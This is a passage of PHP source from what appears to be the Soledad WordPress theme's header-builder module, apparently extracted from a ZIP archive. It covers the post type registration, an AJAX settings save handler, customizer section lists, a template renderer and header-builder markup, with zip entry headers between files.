			wp_enqueue_script( 'penci-header-builder', PENCI_BUILDER_URL . 'assets/js/header-builder.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
			wp_enqueue_script( 'penci-customizer-builder', PENCI_BUILDER_URL . 'assets/js/customizer.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		}
	}

	public function header_builder_html() {
		$template = new Template( PENCI_BUILDER_PATH . 'customizer-template/' );
		$template->render( 'header-builder', array( 'template' => $template ), true );
	}

	public function builder_post_type() {
		$show_menu = get_theme_mod( 'penci_hide_header_builder' ) ? false : true;
		register_post_type(
			'penci_builder',
			array(
				'labels'              => array(
					'name'           => 'Header Builder',
					'name_admin_bar' => _x( 'Header Builder', 'Add New on Toolbar', 'textdomain' ),
					'edit_item'      => __( 'Edit Header', 'soledad' ),
					'view_item'      => __( 'Preview Header', 'soledad' ),
					'add_new'        => __( 'Add New Header', 'soledad' ),
					'add_new_item'   => __( 'Add New Header', 'soledad' ),
					'new_item'       => __( 'Add New Header', 'soledad' ),
				),
				'public'              => false,
				'publicly_queryable'  => false,
				'show_ui'             => $show_menu,
				'show_in_menu'        => $show_menu,
				'show_in_nav_menus'   => $show_menu,
				'query_var'           => false,
				'rewrite'             => false,
				'capability_type'     => 'post',
				'menu_icon'           => 'dashicons-buddicons-topics',
				'map_meta_cap'        => true,
				'has_archive'         => false,
				'hierarchical'        => false,
				'exclude_from_search' => true,
				'menu_position'       => null,
				'supports'            => array( 'title' ),
			)
		);
	}

	public function save_header_builder() {
		check_ajax_referer( 'penci-hdbd-ajax-nonce', 'nonce' );
		$builder_settings = $_REQUEST['setting_value'];
		$setting_id       = (int) esc_attr( $_REQUEST['setting_id'] );

		if ( ! empty( $builder_settings ) ) {

			$header_data      = get_post( $setting_id );
			$header_name      = $header_data->post_name;
			$current_settings = get_post_meta( $setting_id, 'settings_content', true );
			

			if ( ! empty( $current_settings ) ) {
				$builder_settings = wp_parse_args( wp_parse_args( $builder_settings, self::preview_default_data() ), $current_settings );
			}

			$builder_id = wp_update_post(
				array(
					'ID'          => (int) $setting_id,
					'post_status' => 'publish',
					'meta_input'  => array(
						'settings_content'  => $builder_settings,
					),
				)
			);

			if ( $builder_id ) {
				wp_send_json_success(
					array(
						'builder_id' => $builder_id,
						'message'    => 'Save builder settings successfully',
						'notice'     => 'updated',
					),
					200
				);
			} else {
				wp_send_json_error(
					array(
						'message' => esc_attr__( 'Can not saved this settings', 'soledad' ),
						'notice'  => 'error',
					),
					200
				);
			}
		} else {
			wp_send_json_error(
				array(
					'message' => esc_attr__( 'Missing setting content.', 'soledad' ),
					'notice'  => 'error',
				),
				200
			);
		}

		wp_die();
	}

	public function penci_builder_editpost_link( $post ) {
		if ( 'penci_builder' === $post->post_type ) {
			$query['autofocus[panel]'] = 'header_builder_config';
			$query['layout_id']        = $post->ID;
			$link                      = add_query_arg( $query, admin_url( 'customize.php' ) );
			?>
            <div class="penci-builder-button customize">
                <a data-id="<?php echo esc_attr( $post->ID ); ?>"
                   class="button"
                   data-href="<?php echo esc_url( $link ); ?>"
                   href="<?php echo esc_url( $link ); ?>"><?php echo esc_attr__( 'Edit with Penci Header Builder', 'soledad' ); ?></a>
            </div>
			<?php
		}
	}

	public function add_edit_link( $actions, $post ) {

		$export_posttype = array(
			'penci_builder',
		);

		if ( in_array( $post->post_type, $export_posttype ) ) {

			$query['autofocus[panel]'] = 'header_builder_config';
			$query['layout_id']        = $post->ID;
			$link                      = add_query_arg( $query, admin_url( 'customize.php' ) );

			$actions['penci-builder-edit-link'] = '<a href="' . esc_url( $link ) . '" class="penci-builder-edit-link">' . __( 'Edit with Penci Header Builder', 'soledad' ) . '</a>';
		}

		return $actions;
	}

	public function change_link( $permalink, $post ) {
		$post_link = $page_link = $archive_link = home_url();
		$posts     = get_posts(
			array(
				'posts_per_page' => 1,
			)
		);
		$pages     = get_posts(
			array(
				'posts_per_page' => 1,
				'post_type'      => 'page',
			)
		);
		if ( ! empty( $posts ) && isset( $posts[0] ) ) {
			$post_link = get_the_permalink( $posts[0]->ID );
			$post_cat  = get_the_category( $posts[0]->ID );
			if ( ! empty( $post_cat ) && isset( $post_cat[0] ) ) {
				$archive_link = get_term_link( $post_cat[0]->term_id );
			}
		}
		if ( ! empty( $pages ) && isset( $pages[0] ) ) {
			$page_link = get_page_link( $pages[0]->ID );
		}
		if ( $post->post_type == 'penci_builder' ) {

			$arg_query         = array(
				'view-header-layout' => $post->ID,
			);
			$header_archive_id = get_theme_mod( 'pchdbd_archive' );
			$header_page_id    = get_theme_mod( 'pchdbd_page' );
			$header_post_id    = get_theme_mod( 'pchdbd_post' );
			$header_home_id    = get_theme_mod( 'pchdbd_homepage' );
			$header_woo_id     = get_theme_mod( 'pchdbd_woocommerce' );
			$permalink         = add_query_arg( $arg_query, home_url() );

			if ( $header_archive_id == $post->post_name ) {
				$permalink = add_query_arg( $arg_query, $archive_link );
			}

			if ( $header_page_id == $post->post_name ) {
				$permalink = add_query_arg( $arg_query, $page_link );
			}

			if ( $header_post_id == $post->post_name ) {
				$permalink = add_query_arg( $arg_query, $post_link );
			}

			if ( $header_home_id == $post->post_name ) {
				$permalink = add_query_arg( $arg_query, home_url() );
			}

			if ( $header_woo_id == $post->post_name && function_exists( 'wc_get_page_permalink' ) ) {
				$permalink = add_query_arg( $arg_query, wc_get_page_permalink( 'shop' ) );
			}
		}

		return $permalink;
	}

	public function header_template( $template ) {
		if ( isset( $_GET['layout_id'] ) && is_customize_preview() ) {
			$template = locate_template( array( 'inc/builder/customizer-template/header.php' ) );
		}

		return $template;
	}

	public function penci_builder_admin_css() {
		global $typenow;
		if ( 'penci_builder' != $typenow ) {
			return;
		}
		wp_enqueue_style( 'penci-builder-admin', PENCI_SOLEDAD_URL . '/inc/builder/assets/css/admin.css', array(), PENCI_SOLEDAD_VERSION );
		wp_enqueue_script( 'penci-builder-admin', PENCI_SOLEDAD_URL . '/inc/builder/assets/js/admin.js', array(), PENCI_SOLEDAD_VERSION, true );
	}

	public function preview_body_class( $class ) {
		if ( is_customize_preview() && isset( $_GET['layout_id'] ) ) {
			$class[] = 'penci-header-preview-layout';
		}

		return $class;
	}

	public function live_preview() {
		wp_enqueue_script( 'web-font-loader', 'https://ajax.googleapis.com/ajax/libs/webfont/1.6.26/webfont.js', '', '1.0', true );
		wp_enqueue_script(
			'penci-builder-preview',
			PENCI_SOLEDAD_URL . '/inc/builder/assets/js/customizer-preview.js', // Define the path to the JS file
			array( 'jquery', 'customize-preview' ),
			PENCI_SOLEDAD_VERSION,
			true
		);
	}
}
PK     N\4      #  inc/builder/class/builder_panel.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class HeaderBuilderOption extends CustomizerOptionAbstract {

	public $panelID = 'header_builder_config';

	public function set_option() {
		$this->set_section();
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_header_pb_block_section', esc_html__( 'Block 1', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_block_2_section', esc_html__( 'Block 2', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_button_section', esc_html__( 'Button 1', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_bookmark_section', esc_html__( 'Bookmark Button', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_button_2_section', esc_html__( 'Button 2', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_button_3_section', esc_html__( 'Button 3', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_button_mobile_section', esc_html__( 'Mobile Button 1', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_button_mobile_2_section', esc_html__( 'Mobile Button 2', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_cart_icon_section', esc_html__( 'Cart Icon', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_compare_icon_section', esc_html__( 'Compare Icon', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_dropdown_menu_section', esc_html__( 'Mobile Sidebar Menu', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_hamburger_menu_section', esc_html__( 'Hamburger Menu', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_html_ad_section', esc_html__( 'Custom HTML 1', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_html_ad_2_section', esc_html__( 'Custom HTML 2', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_html_ad_3_section', esc_html__( 'Custom HTML 3', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_html_ad_mobile_section', esc_html__( 'Mobile Custom HTML', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_html_ad_mobile_2_section', esc_html__( 'Mobile Custom HTML 2', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_login_register_section', esc_html__( 'Login/Register', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_login_register_mobile_section', esc_html__( 'Mobile Login/Register', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_logo_section', esc_html__( 'Logo', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_logo_mobile_section', esc_html__( 'Logo Mobile', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_logo_sidebar_section', esc_html__( 'Logo Sidebar', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_logo_sticky_section', esc_html__( 'Logo Sticky', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_main_menu_section', esc_html__( 'Main Menu', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_mobile_menu_section', esc_html__( 'Mobile Menu', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_news_ticker_section', esc_html__( 'News Ticker', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_search_form_section', esc_html__( 'Search Form', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_search_form_sidebar_section', esc_html__( 'Sidebar Search Form', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_search_icon_section', esc_html__( 'Search Icon', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_darkmode_section', esc_html__( 'Dark Mode Switcher', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_second_menu_section', esc_html__( 'Second Navigation Menu', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_shortcode_section', esc_html__( 'Shortcode 1', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_shortcode_2_section', esc_html__( 'Shortcode 2', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_shortcode_3_section', esc_html__( 'Shortcode 3', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_shortcode_mobile_section', esc_html__( 'Shortcode Mobile 1', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_social_icon_section', esc_html__( 'Social Icons', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_social_icon_mobile_section', esc_html__( 'Mobile Social Icons', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_third_menu_section', esc_html__( 'Third Navigation', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_vertical_line_1_section', esc_html__( 'Vertical Line 1', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_vertical_line_2_section', esc_html__( 'Vertical Line 2', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_vertical_line_3_section', esc_html__( 'Vertical Line 3', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_vertical_line_4_section', esc_html__( 'Vertical Line 4', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_vertical_line_5_section', esc_html__( 'Vertical Line 5', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_vertical_line_mobile_1_section', esc_html__( 'Mobile Vertical Line 1', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_vertical_line_mobile_2_section', esc_html__( 'Mobile Vertical Line 2', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_wishlist_icon_section', esc_html__( 'Wishlist Icon', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_pb_date_time_section', esc_html__( 'Date/Time', 'soledad' ), $this->panelID );

		$this->add_lazy_section( 'penci_header_bottombar_setting_section', esc_html__( 'Header Bottom Bar', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_bottomblockbar_setting_section', esc_html__( 'Header Bottom Block', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_desktop_option_section', esc_html__( 'Header Desktop Options', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_desktop_sticky_bottom_section', esc_html__( 'Header Sticky Bottom', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_desktop_sticky_mid_section', esc_html__( 'Header Sticky Middle', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_desktop_sticky_section', esc_html__( 'Header Sticky Options', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_desktop_sticky_top_section', esc_html__( 'Header Sticky Top', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_drawer_container_section', esc_html__( 'Mobile Sidebar', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_midbar_setting_section', esc_html__( 'Header Middle Bar', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_mobile_bottombar_setting_section', esc_html__( 'Mobile Bottom Bar', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_mobile_midbar_setting_section', esc_html__( 'Mobile Middle Bar', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_mobile_option_section', esc_html__( 'Mobile Options', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_mobile_topbar_setting_section', esc_html__( 'Mobile Top Bar', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_topbar_setting_section', esc_html__( 'Header Top Bar', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_header_topblockbar_setting_section', esc_html__( 'Header Top Block', 'soledad' ), $this->panelID );
	}
}
PK     N\(.Ԁ      inc/builder/class/sections.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW;

/**
 * Class Theme Soledad Customizer
 */
class HeaderBuilderCustomizer {
	/**
	 * @var Customizer
	 */
	private static $instance;

	/**
	 * @var Customizer
	 */
	private $customizer = null;

	/**
	 * Section of Customizer
	 */
	private $list_elements = array(
		'pb_block',
		'pb_block_2',
		'pb_button',
		'pb_button_2',
		'pb_button_3',
		'pb_bookmark',
		'pb_darkmode',
		'pb_button_mobile',
		'pb_button_mobile_2',
		'pb_cart_icon',
		'pb_compare_icon',
		'pb_date_time',
		'pb_dropdown_menu',
		'pb_hamburger_menu',
		'pb_html_ad',
		'pb_html_ad_2',
		'pb_html_ad_3',
		'pb_html_ad_mobile',
		'pb_html_ad_mobile_2',
		'pb_login_register',
		'pb_login_register_mobile',
		'pb_logo',
		'pb_logo_mobile',
		'pb_logo_sidebar',
		'pb_logo_sticky',
		'pb_main_menu',
		'pb_mobile_menu',
		'pb_news_ticker',
		'pb_search_form',
		'pb_search_form_sidebar',
		'pb_search_icon',
		'pb_second_menu',
		'pb_shortcode',
		'pb_shortcode_2',
		'pb_shortcode_3',
		'pb_shortcode_mobile',
		'pb_social_icon',
		'pb_social_icon_mobile',
		'pb_third_menu',
		'pb_vertical_line_1',
		'pb_vertical_line_2',
		'pb_vertical_line_3',
		'pb_vertical_line_4',
		'pb_vertical_line_5',
		'pb_vertical_line_mobile_1',
		'pb_vertical_line_mobile_2',
		'pb_wishlist_icon',
	);

	private $list_settings = array(
		'penci_header_bottombar_setting_section',
		'penci_header_bottomblockbar_setting_section',
		'penci_header_desktop_option_section',
		'penci_header_desktop_sticky_bottom_section',
		'penci_header_desktop_sticky_mid_section',
		'penci_header_desktop_sticky_section',
		'penci_header_desktop_sticky_top_section',
		'penci_header_drawer_container_section',
		'penci_header_midbar_setting_section',
		'penci_header_mobile_bottombar_setting_section',
		'penci_header_mobile_midbar_setting_section',
		'penci_header_mobile_option_section',
		'penci_header_mobile_topbar_setting_section',
		'penci_header_topbar_setting_section',
		'penci_header_topblockbar_setting_section',
	);

	/**
	 * Construct
	 */
	private function __construct() {
		// Need to load Customizer early for this kind of request.
		if ( isset( $_REQUEST['action'] ) && 'penci_fw_customizer_disable_panel' === $_REQUEST['action'] ) {
			$this->customizer = \SoledadFW\Customizer\Customizer::get_instance();
		}

		if ( ! is_admin() || is_customize_preview() ) {
			add_filter( 'soledad_fw_register_lazy_section', array( $this, 'register_lazy_section' ) );
			add_action( 'soledad_fw_register_customizer_option', array( $this, 'load_customizer' ), 95 );
		}
	}

	/**
	 * @return Customizer
	 */
	public static function getInstance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}

	public function register_lazy_section( $result ) {

		global $wp;
		if ( isset( $wp->query_vars['search'] ) ) {
			return $result;
		}

		$elements = $this->list_elements;
		$settings = $this->list_settings;

		$elements_path = PENCI_SOLEDAD_DIR . '/inc/builder/elements/';
		$settings_path = PENCI_SOLEDAD_DIR . '/inc/builder/customizer/sections/';

		foreach ( $elements as $eid ) {
			$el_id              = 'penci_header_' . $eid . '_section';
			$result[ $el_id ][] = "{$elements_path}/{$eid}/settings.php";
		}

		foreach ( $settings as $sid ) {
			$result[ $sid ][] = "{$settings_path}/{$sid}.php";
		}

		return $result;
	}

	public function load_customizer() {
		$this->customizer = Customizer\Customizer::get_instance();
		new Customizer\HeaderBuilderOption( $this->customizer, 1 );
	}
}
PK     N\if      inc/builder/class/template.phpnu [        <?php
/**
 * Template
 *
 * @author      PenciDesign
 * @license     https://opensource.org/licenses/MIT
 */

/**
 * Base class for any templating that used on the themes
 *
 * @author pencidesign
 */
class Template {
	private $vars = array();
	private $templateDir;
	private $templatePostfix;

	public function __construct( $directory = 'view/', $postfix = '.php' ) {
		$this->templateDir     = $directory;
		$this->templatePostfix = $postfix;
	}

	public function __get( $name ) {
		return $this->vars[ $name ];
	}

	public function __set( $name, $value ) {
		$this->vars[ $name ] = $value;
	}

	public function assign_array( $arr ) {
		foreach ( $arr as $key => $value ) {
			$this->vars[ $key ] = $value;
		}
	}

	public function clear_prev_data() {
		if ( ! empty( $this->vars ) ) {
			foreach ( $this->vars as $key => $val ) {
				$this->$key = null;
			}
		}
	}

	public function render( $templateName, $var = array(), $output = false ) {
		$this->clear_prev_data();

		if ( ! empty( $var ) ) {
			if ( is_array( $var ) ) {
				$this->assign_array( $var );
			}
		}

		extract( $this->vars );
		if ( ! $output ) {
			ob_start();
		}
		include $this->templateDir . $templateName . $this->templatePostfix;
		if ( ! $output ) {
			return ob_get_clean();
		}
	}
}
PK     N\`I	  	  1  inc/builder/customizer-template/header-column.phpnu [        <?php
$setting_align = "penci_hb_align_desktop_{$row}_{$column}";
$default_align = penci_get_builder_mod( $setting_align, 'normal' );

$setting_display = "penci_hb_display_desktop_{$row}_{$column}";
$default_display = penci_get_builder_mod($setting_display);

$setting_flex = "penci_hb_flex_desktop_{$row}_{$column}";
$default_flex = penci_get_builder_mod($setting_flex);

$setting_element = "penci_hb_element_desktop_{$row}_{$column}";
$default_element = penci_get_builder_mod( $setting_element, 'normal' );
$default_element = explode( ',', $default_element );
?>
<div class="header-builder-<?php echo esc_html( $column ); ?> header-builder-column <?php echo esc_html( $default_align ); ?>"
     data-column="<?php echo esc_html( $column ); ?>">
    <div class="header-builder-drop-zone">
		<?php
		$elements = \HeaderBuilder::desktop_header_element();
		if ( is_array( $default_element ) && ! empty( $default_align ) ) {
			foreach ( $default_element as $element ) {
				if ( isset( $elements[ $element ] ) && $elements[ $element ] ) {
					$template->render( 'header-element', array(
						'key'   => $element,
						'value' => $elements[ $element ],
					), true );
				}
			}
		}
		?>
		<div class="header-setting"><i class="fa fa-cog"></i></div>
    </div>
	<div class="header-column-option-tooltip">
        <div class="header-column-option-align">
            <h3><?php esc_html_e('Align', 'soledad'); ?></h3>
            <ul>
                <li class="left <?php echo esc_attr($default_align) === 'left' ? 'active' : ''; ?>" data-align="left"><?php esc_html_e('Left', 'soledad'); ?></li>
                <li class="center <?php echo esc_attr($default_align) === 'center' ? 'active' : ''; ?>" data-align="center"><?php esc_html_e('Center', 'soledad'); ?></li>
                <li class="right <?php echo esc_attr($default_align) === 'right' ? 'active' : ''; ?>" data-align="right"><?php esc_html_e('Right', 'soledad'); ?></li>
            </ul>
        </div>
        <div class="header-column-option-flex">
            <h3><?php esc_html_e('Direction', 'soledad'); ?></h3>
            <ul>
                <li class="left <?php echo esc_attr($default_flex) === 'row' ? 'active' : ''; ?>" data-flex="row"><?php esc_html_e('Row', 'soledad'); ?></li>
                <li class="center <?php echo esc_attr($default_flex) === 'column' ? 'active' : ''; ?>" data-flex="column"><?php esc_html_e('Column', 'soledad'); ?></li>
            </ul>
        </div>
    </div>
</div>PK     N\R    ?  inc/builder/customizer-template/header-mobile-drawer-column.phpnu [        <?php
$setting_element = "penci_hb_element_mobile_drawer_{$row}_{$column}";
$default_element = penci_get_builder_mod( $setting_element );
$default_element = explode( ',', $default_element );
?>
<div class="header-builder-<?php echo esc_html( $column ); ?> header-builder-column"
     data-column="<?php echo esc_html( $column ); ?>">
    <div class="header-builder-drop-zone">
		<?php
		$elements = \HeaderBuilder::mobile_drawer_element();
		if ( is_array( $default_element ) ) {
			foreach ( $default_element as $element ) {
				if ( ! empty( $element ) ) {
					$template->render( 'header-element', array(
						'key'   => $element,
						'value' => $elements[ $element ]
					), true );
				}
			}
		}
		?>
    </div>
</div>
PK     N\o    8  inc/builder/customizer-template/header-sticky-column.phpnu [        <?php
$setting_align = "penci_hb_align_desktop_sticky_{$row}_{$column}";
$default_align = penci_get_builder_mod( $setting_align );

$setting_element = "penci_hb_element_desktop_sticky_{$row}_{$column}";
$default_element = penci_get_builder_mod( $setting_element );
$default_element = explode( ',', $default_element );
?>
<div class="header-builder-<?php echo esc_html( $column ); ?> header-builder-column <?php echo esc_html( $default_align ); ?>"
     data-column="<?php echo esc_html( $column ); ?>">
    <div class="header-builder-drop-zone">
		<?php
		$elements = \HeaderBuilder::desktop_header_element();
		if ( is_array( $default_element ) ) {
			foreach ( $default_element as $element ) {
				if ( ! empty( $element ) ) {
					$template->render( 'header-element', array(
						'key'   => $element,
						'value' => $elements[ $element ]
					), true );
				}
			}
		}
		?>
    </div>
</div>
PK     N\x-    5  inc/builder/customizer-template/header-mobile-row.phpnu [        <div class="header-builder-<?php echo esc_html( $row ); ?> flex-row header-builder-row"
     data-row="<?php echo esc_html( $row ); ?>">
    <div class="header-builder-row-option" data-section="penci_header_mobile_<?php echo esc_html( $row ) ?>bar_setting">
        <i class="fa fa-cog"></i> <?php echo esc_html( ucfirst( $row ) ) . ' ' . esc_html__( 'Bar', 'soledad' ); ?>
    </div>
	<?php
	$columns = array( 'left', 'center', 'right' );

	foreach ( $columns as $column ) {
		$template->render( 'header-mobile-column-' . $row, array(
			'row'      => $row,
			'column'   => $column,
			'template' => $template
		), true );
	}
	?>
</div>
PK     N\٣J    2  inc/builder/customizer-template/header-builder.phpnu [        <?php
if ( ! isset( $_GET['layout_id'] ) ) {
	return false;
}
$title       = get_the_title( $_GET['layout_id'] );
$preview_url = add_query_arg( [ 'view-header-layout' => $_GET['layout_id'] ], home_url() );
?>
<div class="header-builder">

    <div class="header-builder-top-header flex-row">
        <div class="device-mode flex-col flex-left">
            <div class="device-mode-desktop" data-mode="desktop">
                <span><?php esc_html_e( 'Desktop', 'soledad' ); ?></span>

            </div>
            <div class="device-mode-mobile" data-mode="mobile">
                <span><?php esc_html_e( 'Tablet / Phone', 'soledad' ); ?></span>
            </div>
        </div>
        <div class="header-builder-top-menu notice-edit flex-col flex-none">
            <div class="top-edit-screen">
                <span><?php esc_attr_e( 'You are currently editing the template:' ); ?> <strong><?php echo esc_attr( $title ); ?></strong></span>
                <a class="preview-header" target="_blank"
                   href="<?php echo esc_url( $preview_url ); ?>"><?php esc_attr_e( 'Preview' ); ?></a>
            </div>
        </div>
        <div class="header-builder-top-menu flex-col flex-right">
            <div class="nav-right">
                <div class="top-menu close">
                    <i class="fa fa-close"></i>
                </div>
            </div>
        </div>
    </div>

    <div class="desktop-mode header-tab">
        <ul>
            <li class="normal" data-desktop-mode="normal" data-section="penci_header_desktop_option">
                <i class="fa fa-cog"></i> <?php esc_html_e( 'Normal Header', 'soledad' ); ?>
            </li>
            <li class="sticky" data-desktop-mode="sticky" data-section="penci_header_desktop_sticky">
                <i class="fa fa-cog"></i> <?php esc_html_e( 'Sticky Header', 'soledad' ); ?>
            </li>
        </ul>
    </div>


    <div class="mobile-mode header-tab">
        <ul>
            <li class="menu" data-mobile-mode="mobile_menu" data-section="penci_header_mobile_option">
                <i class="fa fa-cog"></i> <?php esc_html_e( 'Mobile Header', 'soledad' ); ?>
            </li>
            <li class="drawer" data-mobile-mode="drawer" data-section="penci_header_drawer_container">
                <i class="fa fa-cog"></i> <?php esc_html_e( 'Mobile Sidebar', 'soledad' ); ?>
            </li>
        </ul>
    </div>


    <div class="header-builder-body">

        <!-- Desktop -->
        <div class="header-builder-device header-builder-desktop" data-device="desktop">
            <div class="header-builder-wrapper">
				<?php

				$default_rows = 'topblock,top,bottom,mid, bottomblock';
				$rows         = penci_get_builder_mod( 'penci_hb_arrange_bar', $default_rows );
				$rows         = explode( ',', $rows );
				if ( is_array( $rows ) ) {
					foreach ( $rows as $row ) {
						$template->render( 'header-row', array(
							'row'      => $row,
							'template' => $template
						), true );
					}
				}
				?>
            </div>
            <div class="header-builder-list header-builder-drop-zone">
				<?php
				$elements = \HeaderBuilder::remain_desktop_header_element();
				if ( is_array( $elements ) ) {
					foreach ( $elements as $key => $value ) {
						$template->render( 'header-element', array(
							'key'   => $key,
							'value' => $value,
						), true );
					}
				}
				?>
            </div>
        </div><!-- Desktop -->

        <!-- Desktop Sticky -->
        <div class="header-builder-device header-builder-desktop-sticky" data-device="desktop_sticky">
            <div class="header-builder-wrapper">
				<?php
				$sticky_row = [ 'top', 'mid', 'bottom' ];
				foreach ( $sticky_row as $row ) {
					$template->render( 'header-sticky', array(
						'row'      => $row,
						'template' => $template
					), true );
				}
				?>
            </div>
            <div class="header-builder-list header-builder-drop-zone">
				<?php
				$elements = \HeaderBuilder::remain_sticky_header_element();
				if ( is_array( $elements ) ) {
					foreach ( $elements as $key => $value ) {
						$template->render( 'header-element', array(
							'key'   => $key,
							'value' => isset( $value['title'] ) ? $value['title'] : $value,
						), true );
					}
				}
				?>
            </div>
        </div><!-- Desktop Sticky -->

        <!-- Mobile -->
        <div class="header-builder-device header-builder-mobile" data-device="mobile">
            <div class="header-builder-wrapper">
				<?php
				$rows = array( 'top', 'mid', 'bottom' );
				foreach ( $rows as $row ) {
					$template->render( 'header-mobile-row', array(
						'row'      => $row,
						'template' => $template
					), true );
				}
				?>
            </div>
            <div class="header-builder-list header-builder-drop-zone">
				<?php
				$elements = \HeaderBuilder::remain_mobile_header_element();
				if ( is_array( $elements ) ) {
					foreach ( $elements as $key => $value ) {
						$template->render( 'header-element', array(
							'key'   => $key,
							'value' => $value
						), true );
					}
				}
				?>
            </div>
        </div><!-- Mobile -->

        <!-- Mobile Drawer -->
        <div class="header-builder-device header-builder-mobile-drawer" data-device="mobile_drawer">
            <div class="header-builder-wrapper">
				<?php
				$rows = array( 'top' );
				foreach ( $rows as $row ) {
					$template->render( 'header-mobile-drawer', array(
						'row'      => $row,
						'template' => $template
					), true );
				}
				?>
            </div>
            <div class="header-builder-list header-builder-drop-zone">
				<?php
				$elements = \HeaderBuilder::remain_mobile_drawer_element();
				if ( is_array( $elements ) ) {
					foreach ( $elements as $key => $value ) {
						$template->render( 'header-element', array(
							'key'   => $key,
							'value' => $value,
						), true );
					}
				}
				?>
            </div>
        </div><!-- Drawer -->

    </div>
</div>
PK     N\j/ ~  ~  1  inc/builder/customizer-template/header-sticky.phpnu [        <div class="header-builder-sticky header-builder-sticky-<?php echo esc_html( $row ); ?> flex-row header-builder-row"
     data-row="<?php echo esc_html( $row ); ?>">
    <div class="header-builder-row-option" data-section="penci_header_desktop_sticky_<?php echo esc_html( $row ); ?>">
        <i class="fa fa-cog"></i> <?php echo esc_html__( 'Sticky Bar - ' . $row, 'soledad' ); ?>
    </div>
	<?php
	$columns = array( 'left', 'center', 'right' );
	foreach ( $columns as $column ) {
		$template->render( 'header-sticky-column', array(
			'row'      => $row,
			'column'   => $column,
			'template' => $template
		), true );
	}
	?>
</div>
PK     N\j=z  z  <  inc/builder/customizer-template/header-mobile-column-mid.phpnu [        <?php
$setting_align = "penci_hb_align_mobile_{$row}_{$column}";
$default_align = penci_get_builder_mod( $setting_align, $column );

$setting_element = "penci_hb_element_mobile_{$row}_{$column}";
$default_element = penci_get_builder_mod( $setting_element );
$default_element = explode( ',', $default_element );
?>
<div class="header-builder-<?php echo esc_html( $column ); ?> header-builder-column <?php echo esc_html( $default_align ); ?>"
     data-column="<?php echo esc_html( $column ); ?>">
    <div class="header-builder-drop-zone">
		<?php
		$elements = \HeaderBuilder::mobile_header_element();
		if ( is_array( $default_element ) ) {
